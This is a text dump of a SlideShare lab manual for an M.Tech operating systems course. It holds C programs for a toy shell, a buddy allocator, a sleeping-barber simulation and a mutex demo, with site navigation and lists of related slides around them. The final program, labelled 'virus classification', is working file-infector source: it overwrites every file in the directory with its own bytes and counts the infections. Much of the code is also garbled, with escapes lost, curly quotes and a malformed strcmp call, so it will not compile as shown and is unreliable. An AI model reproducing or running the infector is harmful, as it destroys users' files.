SlideShare ist ein Scribd-Unternehmen logo
1 von 23
Downloaden Sie, um offline zu lesen
PROGRAM 1
Design and develop a shell that supports at least 20 commands
#include<stdio.h>
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
void parse(char *cmd,char **arguvec)
{
while(*cmd!='0')
{
while(*cmd==' ' || *cmd=='t' || *cmd=='n')
*cmd++='0';
*arguvec++=cmd;
while(*cmd!='0' && *cmd!=' ' && *cmd!='t' && *cmd!='n')
cmd++;
}
*arguvec++='0';
}
void cmdexecute(char **arguvec)
{
pid_t pid;
int status;
pid=fork();
if(pid<0)
{
printf("error in creating forkn");
exit(0);
}
else if(pid==0)
{
if(execvp(*arguvec,arguvec)<0)
{
printf("error in calling executionn");
exit(0);
}
}
else
{
while(wait(&status)!=pid);
}
}
int main()
{
char cmd[1024];
char *arguvec[20];
while(1)
{
printf ("[MYSHELL]");
gets(cmd);
parse (cmd,arguvec);
if(strcmp(arguvec[0]),"exit"==0)
{
exit(0);
}
cmdexecute(arguvec);
}
return 0;
}
SAMPLE INPUT/OUTPUT
[root@localhost ]$ vi myshell.c
[students@localhost ]$ cc myshell.c
[students@localhost ]$ ./a.out
[MYSHELL] date
Mon Dec 8 14:14:17 IST 2014
[MYSHELL]ls
a.out p1.c p2.c myshell.c
[MYSHELL]pwd
/home/students
[MYSHELL]ls -i
1192724 a.out 1192748 p1.c 1192767 p2.c
[MYSHELL]ls -a
. .. a.out p1.c p2.c
[MYSHELL]echo citech
citech
[MYSHELL]cat hello.c
#include<stdio.h>
void main()
{
printf("HELLO WORLD");
}
Program 2
Design and develop a program to implement lazy buddy algorithm
#include<stdio.h>
int tree[2050],i,j,k;
void segmentalloc(int,int),makedivided(int),makefree(int),printing(int,int);
int place(int),power(int,int);
main()
{
int totsize,cho,req;
printf("n B U D D Y S Y S T E M R E Q U I R E M E N T Sn");
printf("* Enter the Size of the memory :");
scanf("%d",&totsize);
while(1)
{
printf("n B U D D Y S Y S T E M n");
printf("*****************************n");
printf("* 1) Locate the process into the Memoryn");
printf("* 2) Remove the process from Memoryn");
printf("* 3) Tree structure for Memory aloc tn Mapn");
printf("* 4) Exitn");
printf("* Enter your choice :");
scanf("%d",&cho);
switch(cho)
{
case 1:
printf("nM E M O R Y A L L O C A T I O Nn");
printf("************************************n");
printf("* Enter the Process size : ");
scanf("%d",&req);
segmentalloc(totsize,req);
break;
case 2:
printf("n M E M O R Y D E A L L O C A T I ONn");
printf("n ******************n");
printf(" Enter the process size : n");
scanf("%d",&req);
makefree(req);
break;
case 3:
printf("n M E M O R Y A L L O C A T I O N M A Pn");
printf("*********************************************************n");
printing(totsize,0);
break;
default:
return;
}
}
}
void segmentalloc(int totsize,int request)
{
int flevel=0,size;
size=totsize;
if(request>=totsize)
{
printf("%c R E S U L T : ",2);
printf("* The system don't have enough free memoryn");
printf("* The system don't have enough free memoryn");
printf("* Suggession : Go for VIRTUAL MEMORYn");
return;
}
while(1)
{
if(request<size && request>=(size/2))
break;
else
{
size/=2;
flevel++;
}
}
for(i=power(2,flevel)-1;i<=(power(2,flevel+1)-2);i++)
if(tree[i]==0 && place(i))
{
tree[i]=request;
makedivided(i);
printf("n Result : Successful Allocation n");
break;
}
if(i==power(2,flevel+1)-1)
{
printf("%c Result : ");
printf("n* The system don't have enough free memoryn");
printf("* Suggession : Go for VIRTUAL Memory Moden");
}
}
void makedivided(int node)
{
while(node!=0)
{
node=node%2==0?(node-1)/2:node/2;
tree[node]=1;
}
}
int place(int node)
{
while(node!=0)
{
node=node%2==0?(node-1)/2:node/2;
if(tree[node]>1)
return 0;
}
return 1;
}
void makefree(int request)
{
int node=0;
while(1)
{
if(tree[node]==request)
break;
else
node++;
}
tree[node]=0;
while(node!=0)
{
if(tree[node%2==0?node-1:node+1]==0 && tree[node]==0)
{
tree[node%2==0?(node-1)/2:node/2]=0;
node=node%2==0?(node-1)/2:node/2;
printf(" Result : SuccessfullDeallocationn");
}
else break;
}
}
int power(int x,int y)
{
int z,ans;
if(y==0) return 1;
ans=x;
for(z=1;z<y;z++)
ans*=x;
return ans;
}
void printing(int totsize,int node)
{
int permission=0,llimit,ulimit,tab;
if(node==0)
permission=1;
else if(node%2==0)
permission=tree[(node-1)/2]==1?1:0;
else
permission=tree[node/2]==1?1:0;
if(permission)
{
llimit=ulimit=tab=0;
while(1)
{
if(node>=llimit&& node<=ulimit)
break;
else
{
tab++;
printf(" ");
llimit=ulimit+1;
ulimit=2*ulimit+2;
}
}
printf(" %d ",totsize/power(2,tab));
if(tree[node]>1)
printf("---> Allocated %d",tree[node]);
else if(tree[node]==1)
printf("---> Divided");
else printf("---> Freen");
printing(totsize,2*node+1);
printing(totsize,2*node+2);
}
}
Program 2/ OUT PUT:
[root@localhost ~]# cc pgm1.c
[root@localhost ~]# ./a.out
B U D D Y S Y S T E M R E Q U I R E M E N T S
* Enter the Size of the memory : 1400
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :1
M E M O R Y A L L O C A T I O N
************************************
* Enter the Process size : 600
Result : Successful Allocation
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
M E M O R Y A L L O C A T I O N M A P
**********************************************
1400 ---> Divided 700 ---> Allocated 600 700 ---> Free
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
Department Of Computer Science & Engineering
BIT/CSE/AOS LAB Page 14
* Enter your choice :1
M E M O R Y A L L O C A T I O N
************************************
* Enter the Process size : 400
Result : Successful Allocation
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
M E M O R Y A L L O C A T I O N M A P
**********************************************
1400 ---> Divided 700 ---> Allocated 600 700 ---> Allocated 400
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :2
M E M O R Y D E A L L O C A T I O N
******************************************
* Enter the process size : 600
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
M E M O R Y A L L O C A T I O N M A P
Department Of Computer Science & Engineering
BIT/CSE/AOS LAB Page 15
**********************************************
1400 ---> Divided 700 ---> Free
700 ---> Allocated 400
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :1
M E M O R Y A L L O C A T I O N
************************************
* Enter the Process size : 800
Result :
* The system don't have enough free memory
* Suggession : Go for VIRTUAL Memory Mode
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :2
M E M O R Y D E A L L O C A T I O N
******************************************
* Enter the process size :400
Result :SuccessfullDeallocation
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
Department Of Computer Science & Engineering
BIT/CSE/AOS LAB Page 16
M E M O R Y A L L O C A T I O N M A P
**********************************************
1400 ---> Free
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :
Program 3
Write a multi-class multithreaded program that simulates multiple sleeping barbers, all
in one barbershop that has a finite number of chairs in the waiting room. Each customer
is instantiated from a single customer class; each barber is instantiated from a single
Barber class.
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<pthread.h>
#include<semaphore.h>
#define MAX_CHAIRS 4
#define CUT_TIME 1
#define NUM_BARB 2
#define MAX_CUST 6
int numberoffreeseats=MAX_CUST;
int seatpocket[MAX_CUST];
sem_t customers;
sem_t barbars;
sem_t mutex;
int servemenext=0;
int sitherenext=0;
int count=0;
void barbarthread(void *tmp);
void customerthread(void *tmp);
void wait();
int main()
{
pthread_t barbars[NUM_BARB],customers[MAX_CUST];
int i, status;
sem_init(&customers,0,0);
sem_init(&barbars,0,0);
sem_init(&mutex,0,1);
printf("barbar shop opensn");
for(i=0;i<NUM_BARB;i++)
{
status=pthread_create(&barbars[i],NULL,(void*)barbarthread,(void*)&i);
sleep(1);
if(status!=0)
perror("no barbar presentn");
}
for(i=0;i<MAX_CUST;i++)
{
status=pthread_create(&customers[i],NULL,(void*)customerthread,(void *)&i);
wait();
if(status!=0)
perror("no customers yetn");
}
for(i=0;i<MAX_CUST;i++)
pthread_join(customers[i],NULL);
printf("barbar shop closesn");
exit(EXIT_SUCCESS);
}
void customerthread(void *tmp)
{
int myseat,b;
sem_wait(&mutex);
count++;
printf("customer %d enterred shopn",count);
if(numberoffreeseats>0)
{
--numberoffreeseats;
printf("customer %d waits in the roomn",count);
sitherenext=(++sitherenext)%MAX_CHAIRS;
myseat=sitherenext;
seatpocket[myseat]=count;
sem_post(&mutex);
sem_post(&barbars);
sem_wait(&customers);
sem_wait(&mutex);
b=seatpocket[myseat];
numberoffreeseats++;
sem_post(&mutex);
}
else
{
sem_post(&mutex);
printf("customer %d finds the no seats and go backn",count);
}
pthread_exit(0);
}
void barbarthread(void *tmp)
{
int index=*(int *)(tmp);
int mynext,c;
printf("barbar %d joins shopn",index+1);
while(1)
{
printf("barbar %d gone to sleepn",index+1);
sem_wait(&barbars);
sem_wait(&mutex);
servemenext=(++servemenext)%MAX_CHAIRS;
mynext=servemenext;
c=seatpocket[mynext];
seatpocket[mynext]=pthread_self();
sem_post(&mutex);
sem_post(&customers);
printf("barbar %d wakes up andis cutting hair of customer %dn",index+1,c);
sleep(CUT_TIME);
printf("barbar %d finishesn",index+1);
}
}
void wait()
{
int x=rand()%(250000-50000+1)+50000;
srand(time(NULL));
usleep(x);
}
Sample Input/Output :
!!Barber Shop Opens!!
Barber-1 Joins Shop.Barber-1 Gone To Sleep.
Barber-2 Joins Shop.Barber-2 Gone To Sleep.
Customer-1 Entered Shop. Customer-1 Sits In Waiting Room.
Barber-1 Wakes Up & Is Cutting Hair Of Customer-1.
Customer-2 Entered Shop. Customer-2 Sits In Waiting Room.
Barber-2 Wakes Up & Is Cutting Hair Of Customer-2.
Customer-3 Entered Shop. Customer-3 Sits In Waiting Room.
Customer-4 Entered Shop. Customer-4 Sits In Waiting Room.
Customer-5 Entered Shop. Customer-5 Sits In Waiting Room.
Barber-1 Finishes.Barber-1 Gone To Sleep.
Barber-1 Wakes Up & Is Cutting Hair Of Customer-3.
Barber-2 Finishes.Barber-2 Gone To Sleep.
Barber-2 Wakes Up & Is Cutting Hair Of Customer-4.
Barber-1 Finishes.Barber-1 Gone To Sleep.
Barber-1 Wakes Up & Is Cutting Hair Of Customer-5.
!!Barber Shop Closes!!
PROGRAM 4
Use ECOS operating system to develop a program for controlling
accessing to a pool of resources using mutexes and condition variables.
#include <string.h>
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>
pthread_t tid[2];
int counter;
pthread_mutex_t lock;
void* processloop(void *arg)
{
pthread_mutex_lock(&lock); // lock code
unsigned long i = 0;
counter += 1;
printf("n Job %d startedn", counter);
for(i=0; i<1;i++)
printf("n Job %d finishedn", counter);
pthread_mutex_unlock(&lock); // unlock code
return NULL;
}
int main(void)
{
int i = 0;
int err;
if (pthread_mutex_init(&lock, NULL) != 0) // create mutex lock
{
printf("n mutex init failedn");
return 1;
}
while(i < 2)
{
err = pthread_create(&(tid[i]), NULL, &processloop, NULL);
if (err != 0)
printf("ncan't create thread :[%s]", strerror(err));
i++;
}
pthread_join(tid[0], NULL);
pthread_join(tid[1], NULL);
pthread_mutex_destroy(&lock);
return 0;
Program 5
Design and develop a program to realize the virus classification, such
as boot sector infector, file infector and macro virus.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
Int done,a=0; unsigned long x;
Char buff[2048];
struct ffblk ffblk; clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL)
goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus); fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus); fwrite(buff,x,1,host); a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”, (end-st));
}

Weitere ähnliche Inhalte

Was ist angesagt?

c++ project on restaurant billing
c++ project on restaurant billing c++ project on restaurant billing
c++ project on restaurant billing Swakriti Rathore
 
6 multiprogramming & time sharing
6 multiprogramming & time sharing6 multiprogramming & time sharing
6 multiprogramming & time sharingmyrajendra
 
architecture of mobile software applications
architecture of mobile software applicationsarchitecture of mobile software applications
architecture of mobile software applicationsHassan Dar
 
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShellPesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShellDaniel Bohannon
 
Security in distributed systems
Security in distributed systems Security in distributed systems
Security in distributed systems Haitham Ahmed
 
System hardening - OS and Application
System hardening - OS and ApplicationSystem hardening - OS and Application
System hardening - OS and Applicationedavid2685
 
Cloud security Presentation
Cloud security PresentationCloud security Presentation
Cloud security PresentationAjay p
 
Application Security
Application SecurityApplication Security
Application Securityflorinc
 
CS9222 Advanced Operating System
CS9222 Advanced Operating SystemCS9222 Advanced Operating System
CS9222 Advanced Operating SystemKathirvel Ayyaswamy
 
Cryptographic algorithms
Cryptographic algorithmsCryptographic algorithms
Cryptographic algorithmsAnamika Singh
 
Chapter 1 Introduction of Cryptography and Network security
Chapter 1 Introduction of Cryptography and Network security Chapter 1 Introduction of Cryptography and Network security
Chapter 1 Introduction of Cryptography and Network security Dr. Kapil Gupta
 
NIST Cloud Computing Reference Architecture
NIST Cloud Computing Reference ArchitectureNIST Cloud Computing Reference Architecture
NIST Cloud Computing Reference ArchitectureThanakrit Lersmethasakul
 
Shared memory and semaphore? And how to use them? An explanation about those ...
Shared memory and semaphore? And how to use them? An explanation about those ...Shared memory and semaphore? And how to use them? An explanation about those ...
Shared memory and semaphore? And how to use them? An explanation about those ...durga_421
 

Was ist angesagt? (20)

c++ project on restaurant billing
c++ project on restaurant billing c++ project on restaurant billing
c++ project on restaurant billing
 
IOS security
IOS securityIOS security
IOS security
 
Shell scripting
Shell scriptingShell scripting
Shell scripting
 
Email security
Email securityEmail security
Email security
 
6 multiprogramming & time sharing
6 multiprogramming & time sharing6 multiprogramming & time sharing
6 multiprogramming & time sharing
 
IMPLEMENTATION OF AUTO KEY IN C++
IMPLEMENTATION OF AUTO KEY IN C++IMPLEMENTATION OF AUTO KEY IN C++
IMPLEMENTATION OF AUTO KEY IN C++
 
architecture of mobile software applications
architecture of mobile software applicationsarchitecture of mobile software applications
architecture of mobile software applications
 
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShellPesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell
PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell
 
Security in distributed systems
Security in distributed systems Security in distributed systems
Security in distributed systems
 
System hardening - OS and Application
System hardening - OS and ApplicationSystem hardening - OS and Application
System hardening - OS and Application
 
Cloud security Presentation
Cloud security PresentationCloud security Presentation
Cloud security Presentation
 
Application Security
Application SecurityApplication Security
Application Security
 
cluster computing
cluster computingcluster computing
cluster computing
 
CS9222 Advanced Operating System
CS9222 Advanced Operating SystemCS9222 Advanced Operating System
CS9222 Advanced Operating System
 
malware analysis
malware  analysismalware  analysis
malware analysis
 
Cryptographic algorithms
Cryptographic algorithmsCryptographic algorithms
Cryptographic algorithms
 
Chapter 1 Introduction of Cryptography and Network security
Chapter 1 Introduction of Cryptography and Network security Chapter 1 Introduction of Cryptography and Network security
Chapter 1 Introduction of Cryptography and Network security
 
NIST Cloud Computing Reference Architecture
NIST Cloud Computing Reference ArchitectureNIST Cloud Computing Reference Architecture
NIST Cloud Computing Reference Architecture
 
Kernel (OS)
Kernel (OS)Kernel (OS)
Kernel (OS)
 
Shared memory and semaphore? And how to use them? An explanation about those ...
Shared memory and semaphore? And how to use them? An explanation about those ...Shared memory and semaphore? And how to use them? An explanation about those ...
Shared memory and semaphore? And how to use them? An explanation about those ...
 

Andere mochten auch

M.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMS
M.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMSM.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMS
M.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMSSupriya Radhakrishna
 
Programming Fundamentals With OOPs Concepts (Java Examples Based)
Programming Fundamentals With OOPs Concepts (Java Examples Based)Programming Fundamentals With OOPs Concepts (Java Examples Based)
Programming Fundamentals With OOPs Concepts (Java Examples Based)indiangarg
 
EEE oops Vth semester viva questions with answer
EEE oops Vth semester viva questions with answerEEE oops Vth semester viva questions with answer
EEE oops Vth semester viva questions with answerJeba Moses
 
inline function
inline function inline function
inline function imran khan
 
M.Tech : Advanced DBMS Assignment I
M.Tech : Advanced DBMS Assignment IM.Tech : Advanced DBMS Assignment I
M.Tech : Advanced DBMS Assignment IVijayananda Mohire
 
Software Engineering tools
Software Engineering tools Software Engineering tools
Software Engineering tools imran khan
 
05211201 Advanced Data Structures And Algorithms
05211201 Advanced Data Structures  And  Algorithms05211201 Advanced Data Structures  And  Algorithms
05211201 Advanced Data Structures And Algorithmsguestac67362
 
Datastructure notes
Datastructure notesDatastructure notes
Datastructure notesSrikanth
 
C++ OOPS Concept
C++ OOPS ConceptC++ OOPS Concept
C++ OOPS ConceptBoopathi K
 
Best Engineering Colleges of Computer science – GNIOT
Best Engineering Colleges of Computer science – GNIOTBest Engineering Colleges of Computer science – GNIOT
Best Engineering Colleges of Computer science – GNIOTGniot group
 

Andere mochten auch (20)

M.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMS
M.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMSM.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMS
M.TECH 1ST SEM COMPUTER SCIENCE ADBMS LAB PROGRAMS
 
Malicious Code
Malicious  CodeMalicious  Code
Malicious Code
 
Trees
TreesTrees
Trees
 
EEE 3rd year oops cat 3 ans
EEE 3rd year  oops cat 3  ansEEE 3rd year  oops cat 3  ans
EEE 3rd year oops cat 3 ans
 
Programming Fundamentals With OOPs Concepts (Java Examples Based)
Programming Fundamentals With OOPs Concepts (Java Examples Based)Programming Fundamentals With OOPs Concepts (Java Examples Based)
Programming Fundamentals With OOPs Concepts (Java Examples Based)
 
EEE oops Vth semester viva questions with answer
EEE oops Vth semester viva questions with answerEEE oops Vth semester viva questions with answer
EEE oops Vth semester viva questions with answer
 
Viva questions
Viva questions Viva questions
Viva questions
 
inline function
inline function inline function
inline function
 
M.Tech : Advanced DBMS Assignment I
M.Tech : Advanced DBMS Assignment IM.Tech : Advanced DBMS Assignment I
M.Tech : Advanced DBMS Assignment I
 
Software Engineering tools
Software Engineering tools Software Engineering tools
Software Engineering tools
 
6th Semester CS / IS (2013-June) Question Papers
6th Semester CS / IS (2013-June) Question Papers6th Semester CS / IS (2013-June) Question Papers
6th Semester CS / IS (2013-June) Question Papers
 
05211201 Advanced Data Structures And Algorithms
05211201 Advanced Data Structures  And  Algorithms05211201 Advanced Data Structures  And  Algorithms
05211201 Advanced Data Structures And Algorithms
 
Ajs 4 a
Ajs 4 aAjs 4 a
Ajs 4 a
 
OOPS IN C++
OOPS IN C++OOPS IN C++
OOPS IN C++
 
Dacj 1-1 b
Dacj 1-1 bDacj 1-1 b
Dacj 1-1 b
 
Datastructure notes
Datastructure notesDatastructure notes
Datastructure notes
 
C++ OOPS Concept
C++ OOPS ConceptC++ OOPS Concept
C++ OOPS Concept
 
Ad java prac sol set
Ad java prac sol setAd java prac sol set
Ad java prac sol set
 
Best Engineering Colleges of Computer science – GNIOT
Best Engineering Colleges of Computer science – GNIOTBest Engineering Colleges of Computer science – GNIOT
Best Engineering Colleges of Computer science – GNIOT
 
C++ programming function
C++ programming functionC++ programming function
C++ programming function
 

Ähnlich wie M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

DiceSimulatorProgram
DiceSimulatorProgramDiceSimulatorProgram
DiceSimulatorProgramAmy Baxter
 
java-introduction.pdf
java-introduction.pdfjava-introduction.pdf
java-introduction.pdfDngTin307322
 
pg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLpg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLCommand Prompt., Inc
 
pg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLpg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLMark Wong
 
computer project on shopping mall..cbse 2017-2018 project
computer project on shopping mall..cbse 2017-2018 projectcomputer project on shopping mall..cbse 2017-2018 project
computer project on shopping mall..cbse 2017-2018 projectRóhït Ràút
 
StackInterface An interface for the ADT stack. Do not modif.pdf
StackInterface An interface for the ADT stack. Do not modif.pdfStackInterface An interface for the ADT stack. Do not modif.pdf
StackInterface An interface for the ADT stack. Do not modif.pdfARCHANASTOREKOTA
 
Nested For Loops and Class Constants in Java
Nested For Loops and Class Constants in JavaNested For Loops and Class Constants in Java
Nested For Loops and Class Constants in JavaPokequesthero
 
As400 session or device error
As400   session or device errorAs400   session or device error
As400 session or device erroraminem_mp
 
VTU DSA Lab Manual
VTU DSA Lab ManualVTU DSA Lab Manual
VTU DSA Lab ManualAkhilaaReddy
 
pg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLpg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLMark Wong
 
eBPF Perf Tools 2019
eBPF Perf Tools 2019eBPF Perf Tools 2019
eBPF Perf Tools 2019Brendan Gregg
 
Linuxカーネルを読んで改めて知るプロセスとスレッドの違い
Linuxカーネルを読んで改めて知るプロセスとスレッドの違いLinuxカーネルを読んで改めて知るプロセスとスレッドの違い
Linuxカーネルを読んで改めて知るプロセスとスレッドの違いRetrieva inc.
 
Chasing the optimizer
Chasing the optimizerChasing the optimizer
Chasing the optimizerMauro Pagano
 
Advance C++notes
Advance C++notesAdvance C++notes
Advance C++notesRajiv Gupta
 

Ähnlich wie M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014 (20)

Quiz using C++
Quiz using C++Quiz using C++
Quiz using C++
 
Supermarket
SupermarketSupermarket
Supermarket
 
DiceSimulatorProgram
DiceSimulatorProgramDiceSimulatorProgram
DiceSimulatorProgram
 
Document of Turbo ++ project|| Railway Reservation System project
Document of Turbo ++  project|| Railway Reservation System projectDocument of Turbo ++  project|| Railway Reservation System project
Document of Turbo ++ project|| Railway Reservation System project
 
Java
JavaJava
Java
 
java-introduction.pdf
java-introduction.pdfjava-introduction.pdf
java-introduction.pdf
 
pg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLpg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQL
 
pg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLpg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQL
 
Durgesh
DurgeshDurgesh
Durgesh
 
computer project on shopping mall..cbse 2017-2018 project
computer project on shopping mall..cbse 2017-2018 projectcomputer project on shopping mall..cbse 2017-2018 project
computer project on shopping mall..cbse 2017-2018 project
 
002207866
002207866002207866
002207866
 
StackInterface An interface for the ADT stack. Do not modif.pdf
StackInterface An interface for the ADT stack. Do not modif.pdfStackInterface An interface for the ADT stack. Do not modif.pdf
StackInterface An interface for the ADT stack. Do not modif.pdf
 
Nested For Loops and Class Constants in Java
Nested For Loops and Class Constants in JavaNested For Loops and Class Constants in Java
Nested For Loops and Class Constants in Java
 
As400 session or device error
As400   session or device errorAs400   session or device error
As400 session or device error
 
VTU DSA Lab Manual
VTU DSA Lab ManualVTU DSA Lab Manual
VTU DSA Lab Manual
 
pg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQLpg_proctab: Accessing System Stats in PostgreSQL
pg_proctab: Accessing System Stats in PostgreSQL
 
eBPF Perf Tools 2019
eBPF Perf Tools 2019eBPF Perf Tools 2019
eBPF Perf Tools 2019
 
Linuxカーネルを読んで改めて知るプロセスとスレッドの違い
Linuxカーネルを読んで改めて知るプロセスとスレッドの違いLinuxカーネルを読んで改めて知るプロセスとスレッドの違い
Linuxカーネルを読んで改めて知るプロセスとスレッドの違い
 
Chasing the optimizer
Chasing the optimizerChasing the optimizer
Chasing the optimizer
 
Advance C++notes
Advance C++notesAdvance C++notes
Advance C++notes
 

Kürzlich hochgeladen

SOC 101 Demonstration of Learning Presentation
SOC 101 Demonstration of Learning PresentationSOC 101 Demonstration of Learning Presentation
SOC 101 Demonstration of Learning Presentationcamerronhm
 
Python Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docxPython Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docxRamakrishna Reddy Bijjam
 
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdfUGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdfNirmal Dwivedi
 
Magic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptxMagic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptxdhanalakshmis0310
 
Understanding Accommodations and Modifications
Understanding  Accommodations and ModificationsUnderstanding  Accommodations and Modifications
Understanding Accommodations and ModificationsMJDuyan
 
Holdier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfHoldier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfagholdier
 
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxDenish Jangid
 
microwave assisted reaction. General introduction
microwave assisted reaction. General introductionmicrowave assisted reaction. General introduction
microwave assisted reaction. General introductionMaksud Ahmed
 
ComPTIA Overview | Comptia Security+ Book SY0-701
ComPTIA Overview | Comptia Security+ Book SY0-701ComPTIA Overview | Comptia Security+ Book SY0-701
ComPTIA Overview | Comptia Security+ Book SY0-701bronxfugly43
 
On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsMebane Rash
 
Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Jisc
 
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17  How to Extend Models Using Mixin ClassesMixin Classes in Odoo 17  How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17 How to Extend Models Using Mixin ClassesCeline George
 
Food safety_Challenges food safety laboratories_.pdf
Food safety_Challenges food safety laboratories_.pdfFood safety_Challenges food safety laboratories_.pdf
Food safety_Challenges food safety laboratories_.pdfSherif Taha
 
Key note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdfKey note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdfAdmir Softic
 
This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.christianmathematics
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdfQucHHunhnh
 
Unit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxUnit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxVishalSingh1417
 
Micro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdfMicro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdfPoh-Sun Goh
 
Unit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxUnit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxVishalSingh1417
 

Kürzlich hochgeladen (20)

SOC 101 Demonstration of Learning Presentation
